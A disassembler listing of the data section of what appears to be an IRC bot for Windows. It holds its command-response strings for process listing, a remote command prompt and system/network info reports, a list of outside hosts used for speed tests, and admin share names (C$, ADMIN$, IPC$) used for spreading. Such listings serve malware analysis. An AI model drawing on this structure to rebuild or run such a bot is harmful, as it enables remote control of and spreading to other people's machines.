		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 10h
unk_43A600	db  2Dh	; -		; DATA XREF: sub_416949+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A624	db  2Dh	; -		; DATA XREF: sub_416949+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_416AE6+33o
unk_43A654	db  2Dh	; -		; DATA XREF: sub_416B6D:loc_416C9Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A684	db  2Dh	; -		; DATA XREF: sub_416B6D+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A6AC	db  2Dh	; -		; DATA XREF: sub_416B6D:loc_416C53o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A6DC	db  2Dh	; -		; DATA XREF: sub_416CC2+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 10h
dword_43A710	dd 234032Dh, 2646D63h, 52202D03h, 746F6D65h, 6F432065h
					; DATA XREF: sub_416CC2+14Co
		dd 6E616D6Dh, 72502064h, 74706D6Fh, 2 dup(0)
		dd offset dword_43A770
		align 10h
		dd offset dword_43A768
		align 8
		dd offset dword_43A764
		dd offset dword_43A760
		dd offset dword_43A75C
		dd offset dword_43A758
dword_43A758	dd 5C3A44h		; DATA XREF: nsp0:0043A754o
dword_43A75C	dd 2444h		; DATA XREF: nsp0:0043A750o
dword_43A760	dd 5C3A43h		; DATA XREF: nsp0:0043A74Co
dword_43A764	dd 2443h		; DATA XREF: nsp0:0043A748o
dword_43A768	dd 494D4441h, 244Eh	; DATA XREF: nsp0:0043A740o
dword_43A770	dd 24435049h, 0		; DATA XREF: nsp0:0043A738o
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_416E91+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A7AC	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41706C+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41706C+C4o
		align 10h
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41706C+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41706C+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41706C+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41706C+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41706C+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41706C+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41706C+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41706C+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41706C+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41706C+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41706C+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41706C+70o
		align 10h
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41706C+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41706C+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41706C+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41706C+54o
		align 10h
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41706C+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41706C+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41706C+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41706C+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41706C+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41706C+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41706C+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41706C+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41706C+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_417249+52o
dword_43A9C4	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_417368+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AAA0	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_417368+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_417368:loc_4174CCo
		align 4
aSS_2		db '%s (%s)',0          ; DATA XREF: sub_417368+EBo
dword_43AACC	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41761C+ABo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43AB10	dd offset loc_412F4E	; DATA XREF: sub_41761C:loc_417690o
off_43AB14	dd offset dword_4E414C	; DATA XREF: sub_41761C:loc_417689o
dword_43AB18	dd 6C616944h, 70752Dh	; DATA XREF: sub_41761C+5Bo
dword_43AB20	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41761C+48o
dword_43AB30	dd 0E8FC5A0Ch		; DATA XREF: sub_417DE8+4w sub_417DF2r ...
		align 10h
dword_43AB40	dd 173Fh		; DATA XREF: sub_418B79+Dr
		dd 9875h, 9873h
off_43AB4C	dd offset sub_418C48	; DATA XREF: sub_417C94r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AB58	dd 1B3Fh		; DATA XREF: sub_418CBF+Dr
dword_43AB5C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_419141+2o
					; sub_41914A+2o
off_43AB70	dd offset sub_417CD2	; DATA XREF: sub_419D79+1Cr
dword_43AB74	dd 2			; DATA XREF: sub_41EEC4+Er
					; sub_41EEFD+46r ...
		dd 10h
dword_43AB7C	dd 3F8h			; DATA XREF: sub_4178D8+4Dr
					; sub_417A69+5r ...
off_43AB80	dd offset word_43AB8A	; DATA XREF: sub_417BFE+23r
					; sub_417BFE:loc_417C5Fr ...
		dd offset word_43AB8A
		db 2 dup(0)
word_43AB8A	dw 20h			; DATA XREF: sub_420827+18r
					; nsp0:off_43AB80o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43AD8C	dd 1			; DATA XREF: sub_417BFE:loc_417C06r
					; sub_417BFE:loc_417C4Ar ...
byte_43AD90	db 2Eh			; DATA XREF: sub_41BFF5:loc_41C2E9r
					; sub_41BFF5+311r ...
		align 4
		dd 1
off_43AD98	dd offset aNull_0	; DATA XREF: sub_41B184:loc_41B4E8r
					; sub_41B184+457r
					; "(null)"
off_43AD9C	dd offset aNull		; DATA XREF: sub_41B184+259r
					; "(null)"
byte_43ADA0	db 1			; DATA XREF: sub_41B98E+E1r
		db 2, 4, 8
		align 8
dword_43ADA8	dd 3A4h			; DATA XREF: sub_41B98E+2Fo
dword_43ADAC	dd 82798260h, 21h, 0	; DATA XREF: sub_41B98E+11Dr
dword_43ADB8	dd 0DFA6h		; DATA XREF: sub_41B98E+C0r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43AE98	dd 1			; DATA XREF: sub_41B98E+3Co
					; sub_41BEC4+Co
dword_43AE9C	dd 16h			; DATA XREF: sub_41BEC4:loc_41BEF9r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43B000	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41BEC4+19o
					; sub_41BFF5:loc_41C55Co
dword_43B008	dd 5Dh,	0		; DATA XREF: sub_41BFF5:loc_41C44Co
dword_43B010	dd 14h			; DATA XREF: sub_41D109+2o
off_43B014	dd offset aExp		; DATA XREF: sub_41D109:loc_41D126r
					; "exp"
		dd 1Dh,	423834h, 1Ah, 423830h, 1Bh, 423828h, 1Fh, 423820h
		dd 13h,	423818h, 21h, 423810h, 0Eh, 423808h, 0Dh, 423800h
		dd 0Fh,	4237F8h, 10h, 4237F0h, 5, 4237E8h, 1Eh,	4237E4h
		dd 12h,	4237E0h, 20h, 4237DCh, 0Ch, 4237D4h, 0Bh, 4237CCh
		dd 15h,	4237C4h, 1Ch, 4237BCh, 19h, 4237B4h, 11h, 4237ACh
		dd 18h,	4237A4h, 16h, 42379Ch, 17h, 423794h, 22h, 423790h
		dd 23h,	42378Ch, 24h, 423788h
dbl_43B0E8	dq 1.797693134862316e308 ; DATA	XREF: sub_41CE44+B7r
					; sub_41CE44:loc_41CF2Br ...
		dd 0
		dd 0FFF80000h
dbl_43B0F8	dq 1.797693134862316e308 ; DATA	XREF: sub_41CE44+92r
					; sub_41CE44:loc_41CF03r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43B110	dt 2.3562723457267347066e313 ; DATA XREF: sub_41D2F1+Dr
					; sub_41D2F1+1Fr
		align 4
tbyte_43B11C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41D2F1+31r
		align 4
off_43B128	dd offset sub_41D785	; DATA XREF: sub_418C60+Fw
					; sub_41B184+3AAr
off_43B12C	dd offset sub_41D41A	; DATA XREF: sub_418C60+5w
					; sub_41B184+3E2r
off_43B130	dd offset sub_41D480	; DATA XREF: sub_418C60+14w
					; sub_41BFF5+430r
off_43B134	dd offset sub_41D3C0	; DATA XREF: sub_418C60+1Ew
					; sub_41B184+3CBr
off_43B138	dd offset sub_41D468	; DATA XREF: sub_418C60+28w
off_43B13C	dd offset sub_41D785	; DATA XREF: sub_418C60+32w
		dd offset sub_4201EC
		align 10h
		dd offset sub_41E04C
off_43B154	dd offset sub_41E04C	; DATA XREF: sub_41E0A2+29r
dword_43B158	dd 0C0000005h		; DATA XREF: sub_41E765+Ar
					; sub_41E765+11o ...
dword_43B15C	dd 0Bh			; DATA XREF: sub_42152E+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43B1D0	dd 3			; DATA XREF: sub_41E624+58r
					; sub_421401+C8r
dword_43B1D4	dd 7			; DATA XREF: sub_41E624+5Er
					; sub_421401+CDr
dword_43B1D8	dd 0Ah			; DATA XREF: sub_41E765+4r
					; sub_42152E+4r
dword_43B1DC	dd 8Ch			; DATA XREF: sub_41E624+82r
					; sub_41E624+8Fw ...
dword_43B1E0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41AB28:loc_41ABA9o
					; sub_41B06F:loc_41B12Co
dword_43B1E8	dd 2			; DATA XREF: sub_41EEFD+Eo
					; sub_41EEFD+28r
off_43B1EC	dd offset aR6002FloatingP ; DATA XREF: sub_41EEFD+FCr
					; sub_41EEFD+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 423B54h, 9, 423B28h, 0Ah,	423B04h, 10h, 423AD8h
		dd 11h,	423AA8h, 12h, 423A84h, 13h, 423A58h, 18h, 423A20h
		dd 19h,	4239F8h, 1Ah, 4239C0h, 1Bh, 423988h, 1Ch, 423960h
		dd 78h,	423950h, 79h, 423940h, 7Ah, 423930h, 0FCh, 435C7Ch
		dd 0FFh, 423920h
off_43B278	dd offset dword_4D8A00	; DATA XREF: sub_41EEFD+1Bo
					; sub_41F417+55o
		dd 0
		dd offset dword_4D8A00
		dd 101h
dword_43B288	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41F417+72o
		dd 1000h, 0
dword_43B298	dd 3 dup(0)		; DATA XREF: sub_41B06F+50o
					; sub_41BF2B+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43B2B8	dd 3 dup(0)		; DATA XREF: sub_41B06F+58o
					; sub_41BF2B:loc_41BF49o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43B2E8	dd 84h dup(0)		; DATA XREF: sub_41F417+9Bo
dword_43B4F8	dd 2 dup(0)		; DATA XREF: sub_41F417+69o
dword_43B500	dd 2694h		; DATA XREF: sub_41CAA6+3r
					; sub_41CAF9+46r
		align 8
dword_43B508	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41FFCCo
dword_43B520	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41FFE2o
dword_43B538	dd 7080h		; DATA XREF: sub_41E121+76r
					; sub_4202CC+5Ew ...
dword_43B53C	dd 1			; DATA XREF: sub_41E121+98r
					; sub_4202CC+8Bw ...
dword_43B540	dd 0FFFFF1F0h		; DATA XREF: sub_41E121:loc_41E1D3r
					; sub_4202CC+94w ...
dword_43B544	dd 545350h, 0Fh	dup(0)	; DATA XREF: nsp0:off_43B5C4o
dword_43B584	dd 544450h, 0Fh	dup(0)	; DATA XREF: nsp0:off_43B5C8o
off_43B5C4	dd offset dword_43B544	; DATA XREF: sub_4202CC+BAr
					; sub_4202CC+D9r ...
off_43B5C8	dd offset dword_43B584	; DATA XREF: sub_4202CC+F4r
					; sub_4202CC+11Br ...
		align 10h
dword_43B5D0	dd 0FFFFFFFFh		; DATA XREF: sub_4202CC+1Dw
					; sub_42052A+1Er ...
dword_43B5D4	dd 0			; DATA XREF: sub_42052A:loc_42065Er
					; sub_4206D6+BFw
dword_43B5D8	dd 0			; DATA XREF: sub_42052A+192r
					; sub_4206D6+E0w
		align 10h
dword_43B5E0	dd 0FFFFFFFFh		; DATA XREF: sub_4202CC+17w
					; sub_42052A+26r ...
dword_43B5E4	dd 0			; DATA XREF: sub_42052A+13Ar
					; sub_4206D6+EAw ...
dword_43B5E8	dd 0			; DATA XREF: sub_42052A+1A1r
					; sub_4206D6+23r ...
dword_43B5EC	dd 0FFFFFFFFh		; DATA XREF: sub_4206D6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43B61C	dd 16Dh			; DATA XREF: sub_41E121+2Ar
					; sub_4206D6+2Er ...
dword_43B620	dd 0FFFFFFFFh		; DATA XREF: sub_4206D6:loc_420762r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43B658	dd 2 dup(0)		; DATA XREF: sub_421886+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43B7B8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_421886+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_43B918	dd offset off_423D44	; DATA XREF: nsp0:off_423D68o
					; nsp0:00423E94o ...
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_43B930	dd offset off_423D44	; DATA XREF: nsp0:off_423D80o
					; nsp0:00423E14o ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_43B950	dd offset off_423D44	; DATA XREF: nsp0:off_423D98o
					; nsp0:00423DDCo ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43B970	dd offset off_423D44	; DATA XREF: nsp0:off_423E20o
					; nsp0:00423E64o ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_43B990	dd offset off_423D44	; DATA XREF: nsp0:off_423EA0o
					; nsp0:00423EDCo
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_4201EC
		align 10h
dword_43B9B0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43B9B8	db 0			; DATA XREF: sub_40111D+62o
					; sub_401221+24Ao ...
		align 10h
dword_43B9C0	dd 0			; DATA XREF: sub_401221+38Co
					; sub_401AC7+737o ...
		dd 5 dup(0)
dword_43B9D8	dd 0			; DATA XREF: sub_401AC7+8C5r
					; sub_413A66+60r
		dd 2D9h	dup(0)
dword_43C540	dd 0			; DATA XREF: sub_401AC7+5594r
					; sub_401AC7+5696r ...
		dd 7Fh dup(0)
dword_43C740	dd 0			; DATA XREF: sub_40A203+41w
					; sub_40A33E+40w ...
dword_43C744	dd 0			; DATA XREF: sub_40A203+47w
					; sub_40A33E+46w ...
dword_43C748	dd 0			; DATA XREF: sub_40A203+52w
					; sub_40A33E+3Ar ...
dword_43C74C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017E7+B9w ...
dword_43C750	dd 0			; DATA XREF: sub_40A33E+75r
					; sub_40A51F+2Aw ...
dword_43C754	dd 0			; DATA XREF: sub_401221+3D8w
					; sub_401221+450w ...
byte_43C758	db 0			; DATA XREF: sub_4017E7+91o
					; sub_401AC7+54DCr ...
		align 4
		dd 23FDh dup(0)
dword_445750	dd 473Ch dup(0)		; DATA XREF: nsp0:off_435BC4o
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: nsp0:off_439248o
		dd 0F4FFh dup(0)
		db 3 dup(0)
byte_494843	db 0			; DATA XREF: nsp0:off_427B70o
		dd 8280h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: nsp0:off_4390B4o
		dd 50BEh dup(0)
dword_4C9540	dd 0A510h		; DATA XREF: sub_40111D+FDw
					; sub_40A203+13o ...
dword_4C9544	dd 1Ah			; DATA XREF: sub_401221+3Dw
					; sub_401AC7:loc_404035r ...
dword_4C9548	dd 0			; DATA XREF: sub_401221:loc_4016F9o
dword_4C954C	dd 20h dup(0)		; DATA XREF: sub_401221+48Fo
					; sub_401221+529o ...
dword_4C95CC	dd 10h dup(0)		; DATA XREF: sub_401221+4A5o
dword_4C960C	dd 24h dup(0)		; DATA XREF: sub_401221+4BCo
dword_4C969C	dd 0			; DATA XREF: sub_401221+4B0w
					; sub_401221+540w ...
dword_4C96A0	dd 0			; DATA XREF: sub_401221+4CFw
		align 10h
byte_4C96B0	db 0			; DATA XREF: sub_40194F+28r
					; sub_40194F+30o
		align 4
byte_4C96B4	db 0			; DATA XREF: sub_401221:loc_401783r
					; sub_401221+570o
		align 4
dword_4C96B8	dd 0			; DATA XREF: sub_401221+586o
dword_4C96BC	dd 0			; DATA XREF: sub_401221+598o
dword_4C96C0	dd 0			; DATA XREF: sub_401221+4DDw
					; sub_401221+4F4r ...
dword_4C96C4	dd 0			; DATA XREF: sub_401221+494w
					; sub_401AC7+838r
dword_4C96C8	dd 0			; DATA XREF: sub_401AC7+6FB6o
					; sub_40BAA5+13o ...
dword_4C96CC	dd 77C72C6Bh		; DATA XREF: sub_408CF8+44Dw
					; sub_408CF8+491r
dword_4C96D0	dd 77EBA994h		; DATA XREF: sub_408CF8+65w
					; sub_41671A+166r
dword_4C96D4	dd 7622A3F4h		; DATA XREF: sub_408CF8+7B1w
					; sub_408CF8+826r ...
dword_4C96D8	dd 71C45229h		; DATA XREF: sub_408CF8+97Ew
					; sub_408CF8+9E9r ...
dword_4C96DC	dd 71C24870h		; DATA XREF: sub_408CF8+930w
					; sub_408CF8+9B9r ...
dword_4C96E0	dd 77C71BB0h		; DATA XREF: sub_408CF8+433w
					; sub_408CF8+481r
dword_4C96E4	dd 71C4502Ch		; DATA XREF: sub_408CF8+971w
					; sub_408CF8+9E1r ...
dword_4C96E8	dd 77DE801Bh		; DATA XREF: sub_408CF8+318w
					; sub_408CF8+36Dr ...
dword_4C96EC	dd 77DDACABh		; DATA XREF: sub_408CF8+3B5w
					; sub_417368+11Er
dword_4C96F0	dd 77DE8075h		; DATA XREF: sub_408CF8+325w
					; sub_408CF8+375r ...
dword_4C96F4	dd 77DD7496h		; DATA XREF: sub_408CF8+366w
					; sub_415D08+ADr
dword_4C96F8	dd 71AB1B7Bh		; DATA XREF: sub_408CF8+500w
					; sub_40E1DC+115r ...
dword_4C96FC	dd 77E686CCh		; DATA XREF: sub_408CF8+72w
					; sub_408CF8+D2r ...
dword_4C9700	dd 71C2498Bh		; DATA XREF: sub_408CF8+923w
					; sub_408CF8+9ACr ...
dword_4C9704	dd 77DDAB2Fh		; DATA XREF: sub_408CF8+34Cw
					; sub_408CF8+38Dr ...
dword_4C9708	dd 7620E8C3h		; DATA XREF: sub_408CF8+7FFw
					; sub_408CF8+852r
dword_4C970C	dd 77DD23D7h		; DATA XREF: sub_408CF8+24Bw
					; sub_408CF8+296r ...
dword_4C9710	dd 76214750h		; DATA XREF: sub_408CF8+7F2w
					; sub_408CF8+84Ar ...
dword_4C9714	dd 77E6D75Bh		; DATA XREF: sub_408CF8+B3w
dword_4C9718	dd 7620BD61h		; DATA XREF: sub_408CF8+80Cw
					; sub_408CF8+85Ar ...
dword_4C971C	dd 71AB60C9h		; DATA XREF: sub_408CF8+4F3w
					; sub_408CF8+676r ...
dword_4C9720	dd 77EBA6E9h		; DATA XREF: sub_408CF8+58w
					; sub_408CF8+CAr ...
dword_4C9724	dd 76D62A58h		; DATA XREF: sub_408CF8+8DAw
					; sub_411C3B+11Ar
dword_4C9728	dd 76F36EAAh		; DATA XREF: sub_401AC7:loc_403A6Fr
					; sub_408CF8+A3Bw ...
dword_4C972C	dd 77E802FCh		; DATA XREF: sub_408CF8+A6w
					; sub_408CF8+F2r
dword_4C9730	dd 77C75455h		; DATA XREF: sub_408CF8+426w
					; sub_408CF8+479r
dword_4C9734	dd 71AB12A7h		; DATA XREF: sub_408CF8+59Cw
					; sub_40B0A8+20r ...
dword_4C9738	dd 71C574FAh		; DATA XREF: sub_408CF8+964w
					; sub_408CF8+9D9r
dword_4C973C	dd 71AB1746h		; DATA XREF: sub_408CF8+58Fw
					; sub_408CF8+6FAr
dword_4C9740	dd 71C21CA3h		; DATA XREF: sub_408CF8+9B2w
					; sub_40A44B+16o ...
dword_4C9744	dd 71B28D0Dh		; DATA XREF: sub_408CF8+AF6w
					; sub_40A3FE+3Do
dword_4C9748	dd 762211EFh		; DATA XREF: sub_408CF8+7A4w
					; sub_408CF8+813r
dword_4C974C	dd 77D902E3h		; DATA XREF: sub_408CF8+1B3w
					; sub_41540C+15r
dword_4C9750	dd 71C2FA86h		; DATA XREF: sub_408CF8+93Dw
					; sub_408CF8+9C1r ...
dword_4C9754	dd 77DE1291h		; DATA XREF: sub_408CF8+332w
					; sub_408CF8+37Dr ...
dword_4C9758	dd 77E2C1B3h		; DATA XREF: sub_408CF8+33Fw
					; sub_408CF8+385r ...
dword_4C975C	dd 71ABF628h		; DATA XREF: sub_408CF8+652w
					; sub_40F8B7+D0r
dword_4C9760	dd 71AB1836h		; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4C9764	dd 77C72889h		; DATA XREF: sub_408CF8+45Aw
